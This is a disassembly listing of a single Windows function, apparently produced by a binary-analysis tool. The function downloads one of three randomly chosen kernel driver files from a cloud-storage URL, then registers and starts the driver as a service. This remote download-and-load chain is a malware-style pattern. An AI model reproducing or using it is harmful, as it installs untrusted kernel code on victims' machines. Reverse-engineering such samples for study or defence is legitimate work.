Function at 0x140002220
Capabilities:
Create service
Download url
Receive data
Start service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x48], rax
xor r13d, r13d
sub edx, 1
je 0x140002287
sub edx, 1
je 0x14000227e
cmp edx, 1
je 0x140002275
lea r12, [0x1400084d0]
jmp 0x14000228e
lea r12, str.https:__codenull.oss_cn_beijing.aliyuncs.com_KernelDrv_Map_03.sys
jmp 0x14000228e
lea r12, str.https:__codenull.oss_cn_beijing.aliyuncs.com_KernelDrv_Map_02.sys
jmp 0x14000228e
lea r12, str.https:__codenull.oss_cn_beijing.aliyuncs.com_KernelDrv_Map_01.sys
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rax
lea rcx, [rbp + 0x30]
call fcn.140001e60
nop
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x48], xmm1
mov qword [rbp - 0x38], r13
mov rdi, qword [rbp + 0x38]
mov rbx, qword [rbp + 0x30]
cmp rbx, rdi
je 0x140002370
mov rdx, qword [rbp - 0x40]
nop word [rax + rax]
mov rcx, qword [rbx + 0x10]
mov rax, rbx
mov r8, qword [rbx + 0x18]
cmp r8, 0xf
jbe 0x1400022e4
mov rax, qword [rbx]
cmp rcx, 3
jne 0x140002309
cmp byte [rax], 0x43
jne 0x140002300
cmp byte [rax + 1], 0x3a
jne 0x140002300
cmp byte [rax + 2], 0x5c
jne 0x140002300
mov eax, r13d
jmp 0x140002305
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002363
mov rax, rbx
cmp r8, 0xf
jbe 0x140002315
mov rax, qword [rbx]
cmp rcx, 3
jne 0x14000233a
cmp byte [rax], 0x41
jne 0x140002331
cmp byte [rax + 1], 0x3a
jne 0x140002331
cmp byte [rax + 2], 0x5c
jne 0x140002331
mov eax, r13d
jmp 0x140002336
sbb eax, eax
or eax, 1
test eax, eax
je 0x140002363
mov r8, rbx
cmp rdx, qword [rbp - 0x38]
je 0x140002356
call fcn.140006520
mov rdx, qword [rbp - 0x40]
add rdx, 0x20
mov qword [rbp - 0x40], rdx
jmp 0x140002363
lea rcx, [rbp - 0x48]
call fcn.140005ef0
mov rdx, qword [rbp - 0x40]
add rbx, 0x20
cmp rbx, rdi
jne 0x1400022d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r13
xor r8d, r8d
lea rdx, [0x1400084d0]
lea rcx, [rbp + 0x10]
call fcn.1400056b0
nop
mov rax, qword [rbp - 0x40]
cmp qword [rbp - 0x48], rax
je 0x140002427
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rbx, qword [rbp - 0x40]
sub rbx, qword [rbp - 0x48]
sar rbx, 5
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdqe
xor edx, edx
div rbx
movsxd r9, edx
shl r9, 5
add r9, qword [rbp - 0x48]
lea rax, [rbp + 0x10]
cmp rax, r9
je 0x140002427
mov rdi, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 0xf
jbe 0x1400023ed
mov r9, qword [r9]
mov rax, qword [rbp + 0x28]
cmp rdi, rax
ja 0x14000241b
lea rbx, [rbp + 0x10]
cmp rax, 0xf
cmova rbx, qword [rbp + 0x10]
mov qword [rbp + 0x20], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rdi + rbx], 0
jmp 0x140002427
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.140005840
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140008970]
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x30], 0
movups xmmword [rbp - 0x10], xmm0
movdqu xmmword [rbp], xmm1
mov byte [rbp - 0x10], 0
lea rcx, [rsp + 0x70]
call fcn.140002090
mov rbx, rax
lea rax, [rbp - 0x30]
cmp rax, rbx
je 0x1400024c8
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x140002499
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002494
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400024fb
call fcn.14000669c
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140002507
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002502
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002502
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
lea rcx, [rbp - 0x68]
call fcn.140002090
mov rbx, rax
lea rdi, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdi, qword [rbp + 0x10]
mov r8, qword [rax + 0x10]
mov rcx, qword [rax + 0x18]
mov rax, rcx
sub rax, r8
mov r14, qword [rbp + 0x20]
cmp r14, rax
ja 0x1400025a8
lea rax, [r14 + r8]
mov qword [rbx + 0x10], rax
mov rsi, rbx
cmp rcx, 0xf
jbe 0x14000254c
mov rsi, qword [rbx]
lea rax, [r14 + rdi]
cmp rax, rsi
jbe 0x140002570
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x140002570
cmp rsi, rdi
ja 0x140002568
mov r15, r13
jmp 0x140002573
mov r15, rsi
sub r15, rdi
jmp 0x140002573
mov r15, r14
lea rcx, [r14 + rsi]
inc r8
mov rdx, rsi
call sub.VCRUNTIME140.dll_memmove
mov r8, r15
mov rdx, rdi
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsi + r15]
mov r8, r14
sub r8, r15
lea rdx, [r14 + r15]
add rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400025c0
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rdi
mov rdx, r14
mov rcx, rbx
call fcn.140006380
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov r8d, 4
lea rdx, str..sys
lea rcx, [rsp + 0x70]
call fcn.1400051a0
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000265a
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002655
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002655
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
movups xmmword [rbp - 0x10], xmm6
movups xmmword [rbp], xmm7
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x1400026a1
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000269c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000269c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x1400026f1
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400026ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400026ec
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
mov rcx, r12
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
lea r8, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova r8, qword [rbp - 0x10]
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x14000273d
xor r9d, r9d
lea r8, [0x1400086ac]
lea rdx, [0x1400086b8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x14000286b
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
lea r9, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova r9, qword [rbp - 0x10]
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r8, qword [rbp - 0x30]
lea rdx, [rbp - 0x30]
cmova rdx, qword [rbp - 0x30]
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x38], r9
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov ebx, 1
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
test rax, rax
je 0x1400027ce
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov r8d, ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
test rax, rax
je 0x140002831
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
mov r8d, 0x10
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
je 0x140002828
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..eFPtdGdjJ1kbyrXm12FY6KsXcxM7CyBmAJFCdy
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x14000bb58], rax
dec rax
cmp rax, 0xfffffffffffffffd
jbe 0x14000286e
mov ebx, r13d
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x1400028ac
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp], xmm0
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400028fb
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400028f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400028f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
movdqa xmm0, xmmword [0x140008970]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14000294b
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002945
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002945
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
nop
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x1400029a5
mov rdx, qword [rbp - 0x40]
call fcn.1400057b0
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x48]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002994
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002994
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], r13
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x1400029f3
mov rdx, qword [rbp + 0x38]
call fcn.1400057b0
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x30]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400029ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000669c
mov eax, ebx
mov rcx, qword [rbp + 0x48]
xor rcx, rsp
call fcn.140006640
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret